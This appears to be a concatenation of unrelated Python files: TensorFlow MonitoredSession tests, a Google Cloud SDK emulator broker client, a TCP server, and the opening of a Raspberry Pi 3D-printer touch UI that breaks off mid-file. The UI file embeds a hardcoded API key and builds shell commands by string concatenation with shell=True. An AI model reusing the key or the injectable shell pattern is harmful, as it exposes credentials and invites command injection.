isinstance(hook_b.run_metadata_list[0], config_pb2.RunMetadata)) self.assertGreater(len(hook_b.run_metadata_list[0].partition_graphs), 0) def test_merge_caller_and_hook_run_options(self): """Test that RunOptions from caller and hooks can be merged properly.""" with ops.Graph().as_default(): my_const = constant_op.constant(42, name='my_const') _ = constant_op.constant(24, name='my_const_2') hook_watch = debug_pb2.DebugTensorWatch( node_name='my_const_2', output_slot=0, debug_ops=['DebugIdentity'], debug_urls=[]) hook = RunOptionsMetadataHook(2, 60000, False, hook_watch, False) with monitored_session.MonitoredSession(hooks=[hook]) as session: caller_watch = debug_pb2.DebugTensorWatch( node_name='my_const', output_slot=0, debug_ops=['DebugIdentity'], debug_urls=[]) caller_options = config_pb2.RunOptions( trace_level=3, timeout_in_ms=30000, output_partition_graphs=True, report_tensor_allocations_upon_oom=True) caller_options.debug_options.debug_tensor_watch_opts.extend( [caller_watch]) self.assertEqual(42, session.run(my_const, options=caller_options)) # trace_level=3 from the caller should override 2 from the hook. # timeout_in_ms=60000 from the hook should override from the caller. # output_partition_graph=True from the caller should override False # from the hook. # The two debug watches from the caller and the hook should be merged, # in that order. self.assertEqual([ config_pb2.RunOptions( trace_level=3, timeout_in_ms=60000, output_partition_graphs=True, debug_options=debug_pb2.DebugOptions( debug_tensor_watch_opts=[caller_watch, hook_watch]), report_tensor_allocations_upon_oom=True), ], hook.run_options_list) self.assertEqual(1, len(hook.run_metadata_list)) self.assertTrue( isinstance(hook.run_metadata_list[0], config_pb2.RunMetadata)) self.assertGreater(len(hook.run_metadata_list[0].partition_graphs), 0) @test_util.run_deprecated_v1 def test_with_statement_and_close(self): # Test case for https://github.com/tensorflow/tensorflow/issues/12224 # where close() inside the with should have a better error message. with self.assertRaisesRegexp(RuntimeError, 'Session is already closed'): with monitored_session.MonitoredSession() as session: session.close() def test_step_fn_example(self): with ops.Graph().as_default(): c = array_ops.placeholder(dtypes.float32) v = array_ops.identity(c) def step_fn(step_context): value = step_context.run_with_hooks(fetches=v, feed_dict={c: 3.2}) return value with monitored_session.MonitoredSession() as session: self.assertNear(3.2, session.run_step_fn(step_fn), 0.1) def test_step_function_stops(self): with ops.Graph().as_default(): def step_fn(step_context): step_context.request_stop() with monitored_session.MonitoredSession() as session: self.assertEqual(None, session.run_step_fn(step_fn)) self.assertTrue(session.should_stop()) def test_step_request_stop_without_a_with_block(self): with ops.Graph().as_default(): was_stop_iteration_raised = False def step_fn(step_context): step_context.request_stop() session = monitored_session.MonitoredSession() try: self.assertEqual(None, session.run_step_fn(step_fn)) except StopIteration: was_stop_iteration_raised = True self.assertTrue(was_stop_iteration_raised) self.assertFalse(session.should_stop()) def test_step_request_stop_in_a_loop(self): with ops.Graph().as_default(): def step_fn(step_context): step_context.request_stop() with monitored_session.MonitoredSession() as session: while not session.should_stop(): _ = session.run_step_fn(step_fn) self.fail('An exception should be raised on the line above.') def test_step_request_stop_with_returning_a_type(self): with ops.Graph().as_default(): def step_fn(step_context): del step_context return 'a type' with monitored_session.MonitoredSession() as session: self.assertEqual('a type', session.run_step_fn(step_fn)) def test_step_with_extra_arguments(self): with ops.Graph().as_default(): def step_fn(step_context, extra_foo): del step_context, extra_foo with monitored_session.MonitoredSession() as session: with self.assertRaisesRegexp( ValueError, '`step_fn` may either have one `step_context` argument'): self.assertEqual(None, session.run_step_fn(step_fn)) def test_step_fn_belongs_to_a_class(self): with ops.Graph().as_default(): c = array_ops.placeholder(dtypes.float32) v = array_ops.identity(c) class Model(object): def step_fn(self, step_context): return step_context.run_with_hooks(fetches=v, feed_dict={c: 3.2}) with monitored_session.MonitoredSession() as session: model = Model() self.assertNear(3.2, session.run_step_fn(model.step_fn), 0.1) def test_step_fn_belongs_to_a_class_and_has_extra_methods(self): with ops.Graph().as_default(): class Model(object): def step_fn(self, step_context, extra_foo): del step_context, extra_foo with monitored_session.MonitoredSession() as session: with self.assertRaisesRegexp( ValueError, '`step_fn` may either have one `step_context` argument'): model = Model() self.assertEqual(None, session.run_step_fn(model.step_fn)) def test_step_fn_with_hooks(self): with ops.Graph().as_default(): var = resource_variable_ops.ResourceVariable(0.0) # This test higlights the interaction of hooks with # `Monitoredsession.run_step_fn`. The order of execution of operations # below is: # 0. stage_0 # 1. stage_1_0 or stage_1_1 in an undefined order # 2. stage_2 stage_0 = state_ops.assign_add(var, 0.3) stage_1_0 = state_ops.assign_add(var, 0.7) # The order of `stage_1_0` and `stage_1_1` is undefined by # `MonitoredSession`, but we should be able to assert when both of them # are complete. To obtain a consistent result of adding two different # constants to `var`, we rely on a control dependency and # `ResourceVariable`. Otherwise, it is possible that one of the # additions overwites the result of the other addition. with ops.control_dependencies([stage_1_0]): stage_1_1 = state_ops.assign_add(var, 0.5) stage_2 = state_ops.assign_add(var, 1.1) class Hook(session_run_hook.SessionRunHook): def __init__(self, testing): self._testing = testing def before_run(self, run_context): return session_run_hook.SessionRunArgs(fetches=stage_1_0) def after_run(self, run_context, run_values): self._testing.assertNear(0.3 + 0.5 + 0.7, run_context.session.run(var), 0.1) self._testing.assertNear(0.3 + 0.5 + 0.7 + 1.1, run_context.session.run(stage_2), 0.1) def step_fn(step_context): self.assertNear(0.3, step_context.session.run(stage_0), 0.1) return step_context.run_with_hooks(fetches=stage_1_1) with monitored_session.MonitoredSession(hooks=[Hook(self)]) as session: self.assertEqual(0.3 + 0.5 + 0.7, session.run_step_fn(step_fn)) def test_step_fn_has_the_same_hooks_behavior_without_recovery(self): with ops.Graph().as_default(): var = resource_variable_ops.ResourceVariable(0.0) stage_0 = state_ops.assign_add(var, 0.3) stage_1_0 = state_ops.assign_add(var, 0.7) with ops.control_dependencies([stage_1_0]): stage_1_1 = state_ops.assign_add(var, 0.5) stage_2 = state_ops.assign_add(var, 1.1) class Hook(session_run_hook.SessionRunHook): def __init__(self, testing): self._testing = testing def before_run(self, run_context): return session_run_hook.SessionRunArgs(fetches=stage_1_0) def after_run(self, run_context, run_values): self._testing.assertNear(0.3 + 0.5 + 0.7, run_context.session.run(var), 0.1) self._testing.assertNear(0.3 + 0.5 + 0.7 + 1.1, run_context.session.run(stage_2), 0.1) def step_fn(step_context): self.assertNear(0.3, step_context.session.run(stage_0), 0.1) return step_context.run_with_hooks(fetches=stage_1_1) with monitored_session.SingularMonitoredSession( hooks=[Hook(self)]) as session: self.assertEqual(0.3 + 0.5 + 0.7, session.run_step_fn(step_fn)) def test_step_fn_with_hooks_and_request_stop(self): with ops.Graph().as_default(): trace_the_hook = {'before_run': False, 'after_run': False} class Hook(session_run_hook.SessionRunHook): def before_run(self, run_context): trace_the_hook['before_run'] = True def after_run(self, run_context, run_values): trace_the_hook['after_run'] = True def step_fn(step_context): step_context.request_stop() with monitored_session.MonitoredSession(hooks=[Hook()]) as session: self.assertEqual(None, session.run_step_fn(step_fn)) self.assertTrue(session.should_stop()) # `step_context.request_stop()` in a step_fn interrupts the flow of # running the hooks. self.assertFalse(trace_the_hook['before_run']) self.assertFalse(trace_the_hook['after_run']) def test_recovers_from_an_exception_in_step_fn(self): trace_the_exception = {'run_already': False} with ops.Graph().as_default(): c = array_ops.placeholder(dtypes.float32) v = array_ops.identity(c) def step_fn(step_context): if not trace_the_exception['run_already']: trace_the_exception['run_already'] = True raise errors_impl.AbortedError(None, None, 'Abort') return step_context.run_with_hooks(fetches=v, feed_dict={c: 3.2}) with monitored_session.MonitoredSession() as session: self.assertNear(3.2, session.run_step_fn(step_fn), 0.1) self.assertTrue(trace_the_exception['run_already']) def test_recovers_from_an_exception_in_step_fn_after_hooks(self): trace_the_exception = {'run_already': False, 'side_effect_counter': 0} with ops.Graph().as_default(): c = array_ops.placeholder(dtypes.float32) v = array_ops.identity(c) graph_state = variables.VariableV1(0.0) graph_side_effect = state_ops.assign_add(graph_state, 0.31) def step_fn(step_context): trace_the_exception['side_effect_counter'] += 1 step_context.session.run(graph_side_effect) value = step_context.run_with_hooks(fetches=v, feed_dict={c: 3.2}) if not trace_the_exception['run_already']: trace_the_exception['run_already'] = True raise errors_impl.AbortedError(None, None, 'Abort') return value with self.cached_session() as test_session: with monitored_session.MonitoredSession( CountingSessionCreator(test_session)) as session: session.run(variables.global_variables_initializer()) self.assertNear(3.2, session.run_step_fn(step_fn), 0.1) self.assertTrue(trace_the_exception['run_already']) # Make sure the rest of the body of the step_fn is re-executed upon # AbortedError: self.assertEqual(2, trace_the_exception['side_effect_counter']) self.assertNear(0.62, session.run(graph_state), 0.1) def test_step_fn_doesnt_recover_when_it_wasnt_asked_to(self): trace_the_exception = {'run_already': False} with ops.Graph().as_default(): c = array_ops.placeholder(dtypes.float32) v = array_ops.identity(c) def step_fn(step_context): if not trace_the_exception['run_already']: trace_the_exception['run_already'] = True raise errors_impl.AbortedError(None, None, 'Abort') value = step_context.run_with_hooks(fetches=v, feed_dict={c: 3.2}) return value with monitored_session.SingularMonitoredSession() as session: with self.assertRaisesRegexp(errors_impl.AbortedError, 'Abort'): self.assertNear(3.2, session.run_step_fn(step_fn), 0.1) self.fail() self.assertTrue(trace_the_exception['run_already']) def test_step_fn_exception_from_before_run(self): trace_the_exception = {'run_already': False, 'side_effect_counter': 0} with ops.Graph().as_default(): c = array_ops.placeholder(dtypes.float32) v = array_ops.identity(c) vv = constant_op.constant(3.2) graph_state = variables.VariableV1(0.0) graph_side_effect = state_ops.assign_add(graph_state, 0.31) class Hook(session_run_hook.SessionRunHook): def __init__(self, testing): self._testing = testing def before_run(self, run_context): if not trace_the_exception['run_already']: trace_the_exception['run_already'] = True raise errors_impl.AbortedError(None, None, 'Abort') return session_run_hook.SessionRunArgs(fetches=vv) def after_run(self, run_context, run_values): self._testing.assertNear(3.2, run_values.results, 0.1) def step_fn(step_context): trace_the_exception['side_effect_counter'] += 1 step_context.session.run(graph_side_effect) return step_context.run_with_hooks(fetches=v, feed_dict={c: 1.3}) with self.cached_session() as test_session: with monitored_session.MonitoredSession( CountingSessionCreator(test_session), hooks=[Hook(self)]) as session: test_session.run(variables.global_variables_initializer()) self.assertNear(1.3, session.run_step_fn(step_fn), 0.1) self.assertEqual(2, trace_the_exception['side_effect_counter']) self.assertNear(0.62, session.run(graph_state), 0.1) class SingularMonitoredSessionTest(test.TestCase): """Tests SingularMonitoredSession.""" def test_handles_initialization(self): with ops.Graph().as_default(): a_var = variables.VariableV1(0) with monitored_session.SingularMonitoredSession() as session: # If it's not initialized, following statement raises an error. self.assertEqual(0, session.run(a_var)) def test_do_not_handle_aborted_error(self): with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() class _RaiseAbortedHook(session_run_hook.SessionRunHook): def before_run(self, run_context): raise errors_impl.AbortedError(None, None, 'Abort') with monitored_session.SingularMonitoredSession( hooks=[_RaiseAbortedHook()]) as session: with self.assertRaises(errors_impl.AbortedError): self.assertEqual(0, session.run(gstep)) with self.assertRaises(errors_impl.AbortedError): with monitored_session.SingularMonitoredSession( hooks=[_RaiseAbortedHook()]) as session: self.assertEqual(0, session.run(gstep)) def test_exit_cleanly_on_out_of_range_exception(self): # Tests that we stop cleanly when OutOfRange is raised. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) hook = RaiseOnceAtCountN(2, errors_impl.OutOfRangeError(None, None, 'EOI')) session = monitored_session.SingularMonitoredSession(hooks=[hook]) # session should cleanly exit from the context. with session: self.assertEqual(0, session.run(gstep)) self.assertFalse(session.should_stop()) # Here at step 1, the hook triggers and raises OutOfRange. The # session should go into should_stop() mode. It should raise the # exception. So next step should not be executed. session.run(do_step) self.assertTrue(False) self.assertTrue(session.should_stop()) def test_regular_exception_reported_to_coord_pass_through_run(self): # Tests that regular exceptions reported to the coordinator from a thread # passes through a "run()" call within a "with MonitoredSession" block and # set the session in stop mode. with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() session = monitored_session.SingularMonitoredSession() run_performed_without_error = False with self.assertRaisesRegexp(RuntimeError, 'a thread wants to stop'): with session: self.assertEqual(0, session.run(gstep)) # Report an exception through the coordinator. try: raise RuntimeError('a thread wants to stop') except RuntimeError as e: session._coordinated_creator.coord.request_stop(e) # Call run() which should perform normally. self.assertEqual(0, session.run(gstep)) run_performed_without_error = True self.assertTrue(run_performed_without_error) def test_stop_cleanly_when_no_exception_in_with_body(self): # Tests that regular exceptions pass through with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) session = monitored_session.SingularMonitoredSession() with session: self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) self.assertFalse(session.should_stop()) # Should have closed. self.assertTrue(session.should_stop()) self.assertEqual(None, session.raw_session()) def test_graph(self): with ops.Graph().as_default() as g: with monitored_session.SingularMonitoredSession() as session: self.assertEqual(g, session.graph) def test_raw_session(self): with ops.Graph().as_default(): with monitored_session.SingularMonitoredSession() as session: self.assertTrue(isinstance(session.raw_session(), session_lib.Session)) if __name__ == '__main__': test.main()
broker.py
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Library for controlling instances of cloud-testenv-broker processes.""" import errno import httplib import json import os import os.path import socket import subprocess import threading import time import urllib from googlecloudsdk.calliope import arg_parsers from googlecloudsdk.calliope import exceptions from googlecloudsdk.command_lib.emulators import util from googlecloudsdk.core import execution_utils from googlecloudsdk.core import log from googlecloudsdk.core.util import platforms import httplib2 class BrokerError(exceptions.ToolException): """All errors raised by this module subclass BrokerError.""" pass class BrokerNotRunningError(BrokerError): pass class RequestError(BrokerError): """Errors associated with failed HTTP requests subclass RequestError.""" pass class RequestTimeoutError(RequestError): pass class RequestSocketError(RequestError): """A socket error. Check the errno field.""" def __init__(self, *args, **kwargs): super(RequestError, self).__init__(*args) self.errno = None def SocketConnResetErrno(): """The errno value for a socket connection reset error.""" current_os = platforms.OperatingSystem.Current() if current_os == platforms.OperatingSystem.WINDOWS: return errno.WSAECONNRESET # pytype: disable=module-attr return errno.ECONNRESET def SocketConnRefusedErrno(): """The errno value for a socket connection refused error.""" current_os = platforms.OperatingSystem.Current() if current_os == platforms.OperatingSystem.WINDOWS: return errno.WSAECONNREFUSED # pytype: disable=module-attr return errno.ECONNREFUSED def _Await(fn, timeout_secs): """Waits up to timeout_secs for fn() to return True.""" deadline = time.time() + timeout_secs while time.time() < deadline: if fn(): return True time.sleep(0.2) return False def _EmulatorPath(emulator_id=None, verb=None): """Builds a broker request path for operating on the specified emulator.""" path = '/v1/emulators' if emulator_id: path += '/' + urllib.quote(emulator_id) if verb: path += ':' + urllib.quote(verb) return path class Broker(object): """Broker manages a single instance of a broker process. The broker process may be started through an instance of this class. An already-running process can be manipulated through an instance of this class as well. """ def __init__(self, address, config_file=None, broker_dir=None): """Constructor. Args: address: (str) The host or host-port of the broker server. The server may already be running. config_file: (str) The full path to the broker config file. broker_dir: (str) A custom path to the broker directory. """ if config_file is not None: assert os.path.isabs(config_file) self._address = address self._config_file = config_file if broker_dir: self._broker_dir = broker_dir else: self._broker_dir = os.path.join(util.GetCloudSDKRoot(), 'bin', 'broker') self._host_port = arg_parsers.HostPort.Parse(address) self._current_platform = platforms.Platform.Current() self._process = None self._comm_thread = None def Start(self, redirect_output=False, logtostderr=False, wait_secs=10): """Starts the broker server, optionally with output redirection. Args: redirect_output: (bool) Whether to merge the stdout and stderr of the broker server with the current process' output. logtostderr: (bool) Whether the broker should log to stderr instead of to a log file. wait_secs: (float) The maximum time to wait for the broker to start serving. Raises: BrokerError: If start failed. """ if self._process or self.IsRunning(): # Already started, possibly by another process. return args = [self._BrokerBinary()] if self._host_port.host: args.append('--host={0}'.format(self._host_port.host)) if self._host_port.port: args.append('--port={0}'.format(self._host_port.port)) if self._config_file: args.append('--config_file={0}'.format(self._config_file)) if logtostderr: args.append('--logtostderr') # Disables file logging. # The broker is run as a detached (daemon) process. popen_args = self._current_platform.AsyncPopenArgs() log.info('Starting broker: %r', args) if redirect_output: # Pipe the broker's output to our own, communicating on another thread # to avoid blocking the current thread. self._process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, **popen_args) # pytype: disable=wrong-arg-types self._comm_thread = threading.Thread(target=self._process.communicate) # pytype: enable=wrong-arg-types self._comm_thread.start() else: self._process = subprocess.Popen(args, **popen_args) if not _Await(self.IsRunning, wait_secs): log.warn('Broker did not start within {0}s'.format(wait_secs)) try: # Clean up. self.Shutdown() except BrokerError: pass raise BrokerError('Broker failed to start') log.info('Started broker: %s' % self._address) def IsRunning(self): """Returns True iff the broker is known to be running.""" # We issue an RPC to check if the broker is running. try: response, _ = self._SendJsonRequest('GET', _EmulatorPath(), timeout_secs=1.0) return response.status == httplib.OK except RequestError: return False def Shutdown(self, wait_secs=10): """Shuts down the broker server. Args: wait_secs: (float) The maximum time to wait for the broker to shutdown. Raises: BrokerError: If shutdown failed. """ if self._process: try: execution_utils.KillSubprocess(self._process) self._process = None if self._comm_thread: self._comm_thread.join() self._comm_thread = None except RuntimeError as e: log.warn('Failed to shutdown broker: %s' % e) raise BrokerError('Broker failed to shutdown: %s' % e) else: # Invoke the /shutdown handler. try: self._SendJsonRequest('POST', '/shutdown') except RequestSocketError as e: if e.errno not in (SocketConnRefusedErrno(), SocketConnResetErrno()): raise # We may get an exception reading the response to the shutdown # request, because the shutdown may preempt the response. if not _Await(lambda: not self.IsRunning(), wait_secs): log.warn('Failed to shutdown broker: still running after {0}s'.format( wait_secs)) raise BrokerError('Broker failed to shutdown: timed-out') log.info('Shutdown broker.') def CreateEmulator(self, emulator_id, path, args, target_patterns, resolved_host=None): """Creates a new emulator entry. Args: emulator_id: (str) The emulator id path: (str) The path to the emulator binary. args: (list of str) The command line arguments to the emulator. target_patterns: (list or str) The regular expressions used to match input targets for the emulator. resolved_host: (str) The address to use when resolving the new emulator. Only specified if the lifetime of this emulator is not managed by this broker. Raises: BrokerNotRunningError: If the broker is not running. BrokerError: If the creation failed. """ if not self.IsRunning(): raise BrokerNotRunningError('Failed to create emulator') emulator = { 'emulator_id': emulator_id, 'start_command': { 'path': path, 'args': args, }, 'rule': { 'rule_id': emulator_id, 'target_patterns': target_patterns, } } if resolved_host: emulator['rule']['resolved_host'] = resolved_host url = _EmulatorPath() body = json.dumps(emulator) response, data = self._SendJsonRequest('POST', url, body=body) if response.status != httplib.OK: log.warn('Failed to create emulator: {0} ({1})'.format(response.reason, response.status)) raise BrokerError('Failed to create emulator: %s' % data) def GetEmulator(self, emulator_id): """Returns emulator entry (Json dict). Args: emulator_id: (str) The id of the emulator to get. Returns: A Json dict representation of a google.emulators.Emulator proto message. Raises: BrokerNotRunningError: If the broker is not running. BrokerError: If the get failed. """ if not self.IsRunning(): raise BrokerNotRunningError('Failed to get emulator: %s' % emulator_id) response, data = self._SendJsonRequest('GET', _EmulatorPath(emulator_id)) if response.status != httplib.OK: raise BrokerError('Failed to get emulator: %s' % data) return json.loads(data) def ListEmulators(self): """Returns the list of emulators, or None. Returns: A list of Json dicts representing google.emulators.Emulator proto messages, or None if the list operation fails. Raises: BrokerNotRunningError: If the broker is not running. """ if not self.IsRunning(): raise BrokerNotRunningError('Failed to list emulators') try: response, data = self._SendJsonRequest('GET', _EmulatorPath()) if response.status != httplib.OK: log.warn('Failed to list emulators: {0} ({1})'.format(response.reason, response.status)) return except RequestError: return list_response = json.loads(data) try: return list_response['emulators'] except KeyError: # The expected values were not present. return def StartEmulator(self, emulator_id): """Starts the specified emulator via the broker, which must be running. Args: emulator_id: (str) The id of the emulator to start. Returns: True if the emulator is started. False if it was already running, cannot be started, or is unknown. Raises: BrokerNotRunningError: If the broker is not running. BrokerError: If the emulator could not be started for another reason. """ if not self.IsRunning(): raise BrokerNotRunningError('Failed to start emulator: %s' % emulator_id) url = _EmulatorPath(emulator_id, verb='start') response, data = self._SendJsonRequest('POST', url) if response.status != httplib.OK: log.warn('Failed to start emulator {0}: {1} ({2})'.format( emulator_id, response.reason, response.status)) raise BrokerError('Failed to start emulator: %s' % data) def StopEmulator(self, emulator_id): """Stops the specified emulator via the broker, which must be running. Args: emulator_id: (str) The id of the emulator to stop. Returns: True if the emulator is stopped or wasn't running to begin with. False if the emulator could not be stopped or is unknown. Raises: BrokerNotRunningError: If the broker is not running. BrokerError: If the emulator could not be stopped for another reason. """ if not self.IsRunning(): raise BrokerNotRunningError('Failed to stop emulator: %s' % emulator_id) url = _EmulatorPath(emulator_id, verb='stop') response, data = self._SendJsonRequest('POST', url) if response.status != httplib.OK: log.warn('Failed to stop emulator {0}: {1} ({2})'.format( emulator_id, response.reason, response.status)) raise BrokerError('Failed to stop emulator: %s' % data) def _BrokerBinary(self): """Returns the path to the broker binary.""" return '{0}/broker'.format(self._broker_dir) def _SendJsonRequest(self, method, path, body=None, timeout_secs=300): """Sends a request to the broker. Args: method: (str) The HTTP method. path: (str) The URI path. body: (str) The request body. timeout_secs: (float) The request timeout, in seconds. Returns: (HTTPResponse, str) or (None, None). Raises: RequestTimeoutError: The request timed-out. RequestSocketError: The request failed due to a socket error. RequestError: The request errored out in some other way. """ uri = 'http://{0}{1}'.format(self._address, path) http_client = httplib2.Http(timeout=timeout_secs) try: return http_client.request( uri=uri, method=method, headers={'Content-Type': 'application/json; charset=UTF-8'}, body=body) except socket.error as e: if isinstance(e, socket.timeout): raise RequestTimeoutError(e) error = RequestSocketError(e) if e.errno: error.errno = e.errno raise error except httplib.HTTPException as e: if isinstance(e, httplib.ResponseNotReady): raise RequestTimeoutError(e) raise RequestError(e) except httplib2.HttpLib2Error as e: raise RequestError(e)
tcpserver.py
import socket import select import threading from LumiduinoNodePython.customlogger import CustomLogger #from LumiduinoNodePython.tcpclient import TcpClient #from tcpclient import TcpClient import LumiduinoNodePython.containers as containers dir(containers) #from containers import TcpClient class TcpServer(object): def __init__(self, port, logger: CustomLogger): self.logger = logger self.running = True self.sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) self.sockfd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sockfd.setblocking(0) self.sockfd.bind(("0.0.0.0", port)) self.sockfd.listen() self.logger.log_task_start("Listening for clients on {}".format(port)) self.clients_map = {} self.read = [self.sockfd] self.write = [] self.x = [] self.server_thread = threading.Thread(target=self.server_loop) self.server_thread.start() def server_loop(self): while self.running: try: rlist, wlist, xlist = select.select(self.read, self.write, self.read, 1) for fd in rlist: if fd is self.sockfd: connection, client_addr = self.sockfd.accept() connection.setblocking(0) self.read.append(connection) self.clients_map[connection] = containers.LumiduinoClient.tcp_client(connection, client_addr) self.logger.log_task_start("client {}".format(client_addr)) else: data = fd.recv(1024) if data: self.clients_map[fd].recv_tcp_fragment(data) else: self.logger.log_task_stop('client {}'.format(fd)) self.read.remove(fd) self.clients_map[fd].close() del self.clients_map[fd] for fd in xlist: print("{} has suffered an exception".format(fd)) self.read.remove(fd) fd.close() except socket.timeout as err: continue def close(self): self.logger.log_task_start("Safe Server Close Sequence") self.running = False self.server_thread.join() for i in self.read: i.close() self.logger.log_task_stop("Safe Server close Sequence")
Main.py
#!/usr/bin/python """ ************************************************************************* * * Fracktal Works * __________________ * Authors: Vijay Varada * Created: Nov 2016 * * Licence: AGPLv3 ************************************************************************* """ Development = False # set to True if running on any system other than RaspberryPi import mainGUI import keyboard import dialog import styles import asset_bundle from PyQt5 import QtCore, QtGui, QtWidgets import time import sys import subprocess from octoprintAPI import octoprintAPI from hurry.filesize import size from datetime import datetime # from functools import partial import qrcode # pip install websocket-client import websocket #https://pypi.org/project/websocket-client/ import json import random import uuid import os # import serial import io import requests import re import logging from collections import OrderedDict if not Development: import RPi.GPIO as GPIO GPIO.setmode(GPIO.BCM) # Use the board numbering scheme GPIO.setwarnings(False) # Disable GPIO warnings H # TODO: ''' # Remove SD card capability from octoprint settings # Should add error/status checking in the response in some functions in the octoprintAPI # session keys?? # printer status should show errors from printer. # async requests # http://eli.thegreenplace.net/2011/04/25/passing-extra-arguments-to-pyqt-slot # fix wifi # status bar netweorking and wifi stuff # reconnect to printer using GUI # check if disk is getting full # recheck for internet being conneted, refresh button # load filaments from a file # store settings to a file # change the way active extruder print stores the current active extruder using positionEvent #settings should show the current wifi #clean up keyboard nameing #add asertions and exeptions #disaable done button if empty #oncancel change filament cooldown #toggle temperature indipendant of motion #get active extruder from motion controller. when pausing, note down and resume with active extruder #QR code has dictionary with IP address also Testing: # handle nothing selected in file select menus when deleting and printing etc. # Delete items from local and USB # different file list pages for local and USB # test USB/Local properly # check for uploading error when uploading from USB # Test if active extruder goes back after pausing # TRy to fuck with printing process from GUI # PNG Handaling # dissable buttons while printing ''' # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # ++++++++++++++++++++++++Global variables++++++++++++++++++++++++++++++++++++++ # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ip = '0.0.0.0' apiKey = 'B508534ED20348F090B4D0AD637D3660' file_name = '' filaments = [ ("PLA", 200), ("ABS", 220), ("PETG", 230), ("PVA", 220), ("TPU", 230), ("Nylon", 250), ("PolyCarbonate", 275), ("HIPS", 220), ("WoodFill", 200), ("CopperFill", 180), ("Breakaway", 230) ] filaments = OrderedDict(filaments) calibrationPosition = {'X1': 202, 'Y1': 31, 'X2': 59, 'Y2': 31, 'X3': 131, 'Y3': 233 } try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s def run_async(func): ''' Function decorater to make methods run in a thread ''' from threading import Thread from functools import wraps @wraps(func) def async_func(*args, **kwargs): func_hl = Thread(target=func, args=args, kwargs=kwargs) func_hl.start() return func_hl return async_func def getIP(interface): try: scan_result = \ (subprocess.Popen("ifconfig | grep " + interface + " -A 1", stdout=subprocess.PIPE, shell=True).communicate()[0]).decode("utf-8") # Processing STDOUT into a dictionary that later will be converted to a json file later rInetAddr = r"inet\s*([\d.]+)" rInet6Addr = r"inet6" mt6Ip = re.search(rInet6Addr, scan_result) mtIp = re.search(rInetAddr, scan_result) if not(mt6Ip) and mtIp and len(mtIp.groups()) == 1: return str(mtIp.group(1)) except: return None def getMac(interface): try: mac = subprocess.Popen(" cat /sys/class/net/" + interface + "/address", stdout=subprocess.PIPE, shell=True).communicate()[0].rstrip() if not mac: return "Not found" return mac.upper() except: return "Error" def getWifiAp(): try: ap = subprocess.Popen("iwgetid -r", stdout=subprocess.PIPE, shell=True).communicate()[0].rstrip() if not ap: return "Not connected" return ap.decode("utf-8") except: return "Error" def getHostname(): try: hostname = subprocess.Popen("cat /etc/hostname", stdout=subprocess.PIPE, shell=True).communicate()[0].rstrip() if not hostname: return "Not connected" return hostname.decode("utf-8") + ".local" except: return "Error" class BuzzerFeedback(object): def __init__(self, buzzerPin): if not Development: GPIO.cleanup() self.buzzerPin = buzzerPin GPIO.setup(self.buzzerPin, GPIO.OUT) GPIO.output(self.buzzerPin, GPIO.LOW) pass @run_async def buzz(self): if not Development: GPIO.output(self.buzzerPin, (GPIO.HIGH)) time.sleep(0.005) GPIO.output(self.buzzerPin, GPIO.LOW) pass buzzer = BuzzerFeedback(12) ''' To get the buzzer to beep on button press ''' OriginalPushButton = QtWidgets.QPushButton OriginalToolButton = QtWidgets.QToolButton class QPushButtonFeedback(QtWidgets.QPushButton): def mousePressEvent(self, QMouseEvent): buzzer.buzz() OriginalPushButton.mousePressEvent(self, QMouseEvent) class QToolButtonFeedback(QtWidgets.QToolButton): def mousePressEvent(self, QMouseEvent): buzzer.buzz() OriginalToolButton.mousePressEvent(self, QMouseEvent) QtWidgets.QToolButton = QToolButtonFeedback QtWidgets.QPushButton = QPushButtonFeedback class Image(qrcode.image.base.BaseImage): def __init__(self, border, width, box_size): self.border = border self.width = width self.box_size = box_size size = (width + border * 2) * box_size self._image = QtGui.QImage( size, size, QtGui.QImage.Format_RGB16) self._image.fill(QtCore.Qt.white) def pixmap(self): return QtGui.QPixmap.fromImage(self._image) def drawrect(self, row, col): painter = QtGui.QPainter(self._image) painter.fillRect( (col + self.border) * self.box_size, (row + self.border) * self.box_size, self.box_size, self.box_size, QtCore.Qt.black) def save(self, stream, kind=None): pass class ClickableLineEdit(QtWidgets.QLineEdit): clicked_signal = QtCore.pyqtSignal() def __init__(self, parent): QtWidgets.QLineEdit.__init__(self, parent) def mousePressEvent(self, QMouseEvent): buzzer.buzz() self.clicked_signal.emit() class MainUiClass(QtWidgets.QMainWindow, mainGUI.Ui_MainWindow): ''' Main GUI Workhorse, all slots and events defined within The main implementation class that inherits methods, variables etc from mainGUI.py and QMainWindow ''' def __init__(self): ''' This method gets called when an object of type MainUIClass is defined ''' super(MainUiClass, self).__init__() if not Development: formatter = logging.Formatter("%(asctime)s %(message)s") self._logger = logging.getLogger("TouchUI") file_handler = logging.FileHandler("/home/pi/ui.log") file_handler.setFormatter(formatter) stream_handler = logging.StreamHandler() stream_handler.setFormatter(formatter) file_handler.setLevel(logging.DEBUG) self._logger.addHandler(file_handler) self._logger.addHandler(stream_handler) try: # if not Development: # self.__packager = asset_bundle.AssetBundle() # self.__packager.save_time() # self.__timelapse_enabled = self.__packager.read_match() if self.__packager.time_delta() else True # self.__timelapse_started = not self.__packager.time_delta() # self._logger.info("Hardware ID = {}, Unlocked = {}".format(self.__packager.hc(), self.__timelapse_enabled)) # print("Hardware ID = {}, Unlocked = {}".format(self.__packager.hc(), self.__timelapse_enabled)) # self._logger.info("File time = {}, Demo = {}".format(self.__packager.read_time(), self.__timelapse_started)) # print("File time 